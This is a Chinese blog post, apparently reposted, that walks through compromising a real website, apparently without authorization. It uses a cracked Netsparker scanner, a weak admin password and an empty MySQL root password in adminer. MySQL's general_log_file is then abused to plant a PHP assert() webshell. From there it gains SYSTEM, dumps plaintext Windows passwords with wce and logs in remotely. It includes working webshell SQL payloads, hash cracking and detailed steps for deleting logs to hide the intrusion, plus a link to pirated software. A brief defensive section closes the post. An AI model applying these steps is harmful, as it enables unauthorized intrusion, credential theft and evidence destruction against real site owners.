1.1 使用 Netsparker 扫描及 *** 某站点
目前市面上漏洞扫描软件有多款, 前面介绍了一些扫描软件例如 awvs 对目标站点进行扫描, 其实国外还有一款扫描软件 Netsparker 也挺厉害, 扫描误报率低, 扫描效果还不错. 在本文中, 对一个目标站点进行扫描, 并未发现高危漏洞, 但通过列目录漏洞以及敏感信息泄露文件, 成功获取了某网站的 webshell 及其服务器权限. 在真实 *** 环境中, 漏洞的利用除了思路外, 各种低级漏洞的组合和信息收集扩充, 在一定条件下, 将起到意想不到的效果.
1.1.1Netsparker 简介及安装
Netsparker 是一款著名的 Web 应用漏洞扫描工具, 虽然名气不如 AWVS, 但其功能强大, 可以爬行,*** 并识别各种 Web 应用中存在的漏洞. 能识别的 Web 应用漏洞包括 SQL 注入, XSS(跨网站指令码), 命令注入, 本地文件包含和任意文件读取, 远程文件包含, 框架注入, 内部路径信息披露等. 跟其它扫描工具相比, Netsparker 误报率低, 因为 Netsparker 执行多次测试以确认任何被识别的漏洞. 它还有一个 JavaScript 引擎, 可以解析, 执行并分析 Web 应用中使用的 JavaScript 和 VBScript 输出. 因此 Netsparker 能成功爬行并充分了解网站. 其官方网站 https://www.netsparker.com, 最新版本为 5.X,Netsparker 目前分为桌面版, 云端版和企业版.
2. 软件下载
(1)获取桌面版本可以从官方网站获取: https://www.netsparker.com/get-demo/, 下载前需要填写个人姓名, 邮箱地址以及电话等信息, 完毕即可下载桌面版.
(2)破解版本, 下载地址: https://down.52pojie.cn/LCG/
3. 安装
Netsparker 的安装跟其它普通应用程序类似, 根据提示进行安装即可, 再次不赘述, 只是早期有些版本需要有. Net Framework3.5 或者 4.0 版本以上支持, 如果没有这个框架支持, 可能无法正常运行程序.
1.1.2 使用 Netsparker 对目标站点进行扫描
1. 新建扫描目标
本次使用的是 Netsparker3.5 破解版, 如图 1 所示, 在 "Target URL" 中输入目标的 URL 地址, 然后在扫描策略 (Scan Policy) 中选择对应的策略, 可以选择所有的安全检查 "All Security Checks", 其它选项可以根据实际需要来选择和填入, 单击 "Start Scan" 即可开始扫描.
图 1 新建扫描目标
2. 查看扫描结果
在 Netsparker3.5 中, 扫描结束后, 在最左下方可以看到 "Scan Finished" 显示进度条为 100%, 请求的数量为 1553, 如图 2 所示, 最左上方是网站的目录结构, 右下方显示扫描存在问题 (Issues) 所在, 红色旗帜表示为高危,*** 显示警示, 叹号显示是获取的一些信息. 最右上方显示原始的头及发包等数据, 右中间显示的是请求响应情况, 可以看原始 (RAW) 数据及头数据(Headers).
图 2 查看扫描结果
1.1.3Netsparker 扫描技巧
1. 清除扫描历史记录
Netsparker 扫描时间比较长, 对于未经授权的扫描一般都是挂在服务器上进行扫描, 扫描结束后, 会在当前用户的 "AppData\Local\" 存在历史目标地址扫描信息, 如图 3 所示,"C:\Users\Administrator\AppData\Local\Netsparker_Ltd\Netsparker.exe_Url_zvwvt4yrzsjvxnmbrbgijsymajvheb1h\3.5.3.0" 目录下的 user.config 下会保存所有进行扫描过的站点信息, 可以将这些信息执行删除清理, 清除扫描痕迹.
图 3 清除历史扫描目标记录信息
2. 查看及清除目标扫描日志记录
Netsparker 默认会在 "C:\Users\Administrator\Documents\Netsparker\Scans" 目录保留一些扫描信息, 如图 4 所示, 可以对其进行查看, 也可以执行彻底删除, 不保留扫描记录, 未经授权, 扫描也是罪过!
图 4 查看及清除目标扫描记录
3. 定制目录扫描
到 "C:\Users\Administrator\Documents\Netsparker\Resources\Configuration" 文件夹下, 如图 5 所示, 可以对配置文件进行更改, 如图 5 所示, 将一些敏感信息文件加入到 Folders.txt 文件, 定制自己的目录及文件扫描.
图 5 定制目录扫描
4. 查看 Netsparker 扫描日志
在 "C:\Users\Administrator\Documents\Netsparker\Logs" 会保持扫描日志, 这个日志专门记录 Netsparker 扫描出错的一些信息, 查看该文件便于进行出错处理.
1.1.4Netsparker 扫描结果分析思路
1. 各找各 "妈"
根据漏洞扫描结果, 对于高危漏洞, 根据其漏洞提示信息, 各找各 "妈": 通过漏洞寻找对应漏洞利用工具及其方法.
(1)SQL 注入漏洞处理
利用 sqlmap 对注入点进行测试, 利用多种注入利用工具进行注入测试, 也可以利用手工进行注入测试.
(2)源代码下载及备份文件下载. 下载备份文件分析是否存在 webshell, 获取数据库连接信息, 挖掘漏洞, 测试代码中存在的漏洞.
(3)SVN 及 Git 信息泄露, 利用 SVN 及 Git 信息泄露工具获取源代码, 然后进行源代码分析.
(4)文件编辑器, 根据文件编辑器版本进行相应的漏洞测试及利用.
(5)本地文件包含及远程文件包含, 通过文件包含读取数据配置文件, 写入文件, 文件包含获取 webshell 等.
(6)文件上传漏洞, 对存在文件上传的地方进行各种上传漏洞测测试, 尝试获取 webshell.
(7)命令执行漏洞, 通过命令执行反弹 shell, 在反弹 shell 上进行 webshell 获取及提权.
(8)框架命令执行漏洞, 寻找诸如 Struts2 远程利用相关工具对目标进行命令执行漏洞利用, 一般都可以获取 webshell.
(9)XSS 漏洞, 通过 XSS 平台来获取管理员 IP 地址, Cookie, 用户名及密码等信息.
(10)其他相关漏洞, 根据相应的漏洞名称寻找对应的漏洞利用工具来进行测试.
2. 测试原则
(1)先本地后远程实际目标测试
如果知道开源 CMS 版本, 尽量在本地搭建相同测试环境, 本地测试通过后, 再在目标站点进行测试.
(2)使用扫描工具交叉扫描
可以通过多款工具在空闲时间段对目标站点进行交叉扫描, 对比分析漏洞扫描结果.
(3)除 Web*** 扫描外的 *** 测试. 很多目标站点可能 Web 站点不存在漏洞, 但由于目标对外提供了很多其它应用, 这些应用也可能存在漏洞.
3. 手工测试及信息收集
(1)对目标站点通过漏洞搜索引擎, 搜索引擎等工具尽可能多的收集信息.
(2)通过 burpsuite 对交互信息进行处理和访问, 对获取的数据包涉及参数信息进行测试.
(3)对逻辑漏洞进行测试
1.1.5 漏洞扫描及 *** 测试实例
本例通过 Netsparker 扫描, 发现一些敏感文件, 通过敏感文件的实际访问, 获取数据库访问权限, 通过类似 PhpMyadmin 管理软件, 通过执行 MySQL 命令, 成功获取目标站点 webshell.
1. 真实 IP 地址获取
(1)真实域名 IP 地址查询
将目标 URL 地址 "https://toolbar.netcraft.com/site_report?url=www.****.info" 跟 toolbar 网站中的 url 进行替换, 然后访问, 如图 6 所示, 获取该网站历史 IP 地址等信息.
图 6netcraft 网站获取 IP 地址信息
(2)国外 ping 测试获取
通过国外网站 https://asm.ca.com/en/ping.PHP, 对目标域名进行 ping 测试, 如图 7 所示, 通过 60 多个国外站点对其进行 ping 测试来获取 IP 地址, 该方法跟前面 netcraft 获取地信息一致, 但是该目标的真正 IP 地址还不是. 原因是 cloudflare 对正式 IP 地址进行了保护, 防止进行 DDOS*** 等.
图 7ping 测试获取真实 IP 地址
(3)通过百度编辑器的 XSS 测试获取
可以在百度编辑器中插入 xss 代码来获取网站的真实 IP 地址.
2. 后台弱口令
获取后台登陆地址 http://www.*****.info/index.PHP/admin/Login/index.html, 后台管理用户 admin 密码 123456.
3. 敏感文件分析
(1)adminer 数据库管理页面
在 Netsparker 扫描结果中发现存在一些敏感文件, 如图 8 所示, sql.PHP 为 adminer.PHP 更名版本, 通过该文件可以对数据库进行全部的管理操作.
图 8 发现 adminer 数据库管理员页面
(2)发现列目录漏洞
通过分析扫描结果的目录结构, 并对其进行访问, 发现存在列目录漏洞.
4. 使用 adminer 进行数据相关操作
(1)尝试空口令登录服务器
如图 9 所示, 通过 root 及空口令成功登录该服务器, 在该服务器上面可以看到存在 5 个数据库, 其中真正数据库为 vr.
图 9 空口令登录数据库服务器
(2)查看管理员及其密码
利用 adminer 对 MySQL 数据库及其 vr 数据库进行查看, 如图 10 所示, 可以看到管理员密码及其它是 3 个用户帐号, admin 为 group 值为 1.
图 10 查看管理员及其成员账号
(3)MySQL 空口令及密码
如图 11 所示, 执行查询来获取主机, 用户及密码: SELECT host,user,authentication_string FROM `user`,MySQL 新版本中将 password 字典修改为 authentication_string.
图 11 查看 MySQL 用户及密码
(4)获取 MySQL 用户 sun 的密码
如图 12 所示, 将前面获取 MySQL 密码: 1A2F4FFEABD87521B9AABB0A319533D1977406AA 在 cmd5.com 进行查询, 其密码为 xxooxxoo.
图 12 获取 MySQL 用户 sun 的密码
5. 真实路径地址获取
碰巧在该网站存在 phpinfo.PHP 页面, 通过访问 http://52.215.60.69/phpinfo.PHP, 在该页面参数 CONTEXT_DOCUMENT_ROOT 及 SCRIPT_FILENAME 会显示网站的真实路径信息: C:\wamp64\www\, 如图 13 所示.
图 13 获取网站真实路径
6.webshell 获取之路
(1)通过 MySQL Root 账号导出一句话后门失败
使用传统的方法来导出一句话后门到网站真实路径, 执行后, 显示由于 "--secure-file-priv" 参数选项设置, 无法直接导出文件到目录, 如图 14 所示.
select '<?PHP @eval($_POST[c]);?>'INTO OUTFILE 'C:/wamp64/www/c.PHP'
图 14 导出一句话后门失败
(2)general_log_file 获取 webshell
查看 genera 文件配置情况: show global variables like "%genera%";
关闭 general_log:set global general_log=off;
通过 general_log 选项来获取 webshell 操作:
- set global general_log='on';
- SET global general_log_file='D:/phpStudy/WWW/cmd.PHP';
- SELECT '<?PHP assert($_POST["cmd"]);?>';
(3)查看 genera 文件配置情况
执行 show global variables like "%genera%"; 命令来参考数据库 general_log 配置情况, 如图 15 所示, 知道其配置文件修改为 "C:\wamp64\www\Core\log2.PHP" 说明, 有人曾经 *** 过该网站.
图 15 查看 genera 文件配置情况
(4)读取文件内容
使用 "select load_file('C:/wamp64/www/Core/log2.PHP')" 命令来读取 log2.PHP 文件内容, 尝试获取其人留下的后门, 如图 16 所示, 在新版本 MySQL 中不支持该方法, 猜测该文件应该为一句话后门, 也可以通过 burpsuite 等工具对一句话后门进行暴力破解.
图 16 读取后门文件内容
(5)开启 general_log_file 配置选项
如图 17 所示, 执行命令: set global general_log='on'; 显示配置信息修改成功.
图 17 开启 general_log_file 配置选项
(6)设置 general_log_file 配置日志文件
在 MySQL 命令中执行 SET global general_log_file='C:/wamp64/www/Core/log3.PHP';, 修改 general_log_file 配置日志文件, 如图 18 所示, 再在其查询窗口查询:
SELECT '<?PHP assert($_POST["cmd"]);?>';
图 18 设置 general_log_file 配置日志文件
(7)访问日志文件
如图 19 所示, 在浏览器中访问 general_log_file 日志文件, 可以看出该日志文件中有一些出错等信息, 确认该配置文件设置成功.
图 19 访问日志文件
(8)获取 webshell
一句话后门地址: http://52.***.**.**/Core/log3.PHP, 密码 cmd, 如图 20 所示, 成功获取 webshell.
图 20 成功获取 webshell
(9)查看 log3.PHP 文件内容
如图 21 所示, 通过中国菜刀一句话后门对 log3.PHP 文件内容进行查看, 可以看到该文件记录了 MySQL 查询所进行的操作.
图 21 查看 log3.PHP 文件内容
7. 获取系统权限及密码
(1)查看当前用户权限
在中国菜刀后门管理工具中, 选中刚才添加到 webshell 后门地址, 在菜单中选择远程终端, 如图 22 所示, 使用 whomai 查看当前用户信息, 显示该用户为系统账号, 同时使用 net user 命令查看当前系统的所有用户信息.
图 22 查看当前用户权限及系统所有用户
(2)使用 wce 工具直接获取系统登录密码
如图 23 所示, 上传 64 位的 wce 修改程序, 直接一键获取当前系统的所有账号及明文密码.
图 23 获取当前登录用户及明文密码
8. 登录服务器
如图 24 所示, 使用获取的用户名称及其明文密码成功登录该目标服务器.
图 24 成功登录远程桌面
9. 清除日志记录
(1)清除 adminer 登录日志
如图 25 所示, 在 c:\wamp64\tmp 目录, 可以看到有 adminer.key 等登录信息, 可以将 adminer.* 文件进行删除.
图 25 清除 adminer 登录日志
(2)还原 general_log_file 设置
如图 26 所示, 分别执行以下命令, 清除前面的一些日志设置信息, 还原 MySQL 原始状态.
- set global general_log='on';
- SET global general_log_file='c:/log.txt';
- set global general_log='Off';
图 26 还原 general_log_file 设置
(3)清除其它日志文件
对系统登录日志等进行清除, 清除 *** 登录痕迹.
1.1.6 总结及防御
1. 通过 Netsparker 对目标站点进行扫描, 扫描结束后, 对扫描结果进行分析和利用, 在条件具备的情况下, 需要综合利用各种条件来配合进行后期的 ***, 在某些情况下是可以获取 webshell 的.
(1)真实 IP 地址的获取是难点. 现在很多真实 IP 都隐藏在 CDN 后方, 需要通过一些新技术来探测.
- https://toolbar.netcraft.com/site_report?url=
- https://www.yougetsignal.com/tools/Web-sites-on-Web-server/
- https://asm.ca.com/en/ping.PHP
(2)高版本数据库获取主机, 用户名及密码
SELECT host,user,authentication_string FROM `user`,
(3)MySQL root 账号前面的获取 Webshell 方法基本失效, 可以预见后续系统将启用新版 MySQL, 通过 general_log_file 进行提权将越来越普遍, 其获取 webshell 方法:
- show global variables like "%genera%";
- set global general_log='on';
- SET global general_log_file='D:/phpStudy/WWW/cmd.PHP';
- SELECT '<?PHP assert($_POST["cmd"]);?>';
2. 安全防范建议
(1)服务器上不留任何 "多余" 文件
(2)数据库及其后台要设置为强口令. 在本例中, 后台管理员口令为 123456,root 账号默认安装后为空, 如果没有 adminer.PHP 类似 MySQL 数据库管理软件, 也会相对较难 ***.
(3)禁止网站列目录, 可以避免敏感文件信息泄露.
来源: http://blog.51cto.com/simeon/2284291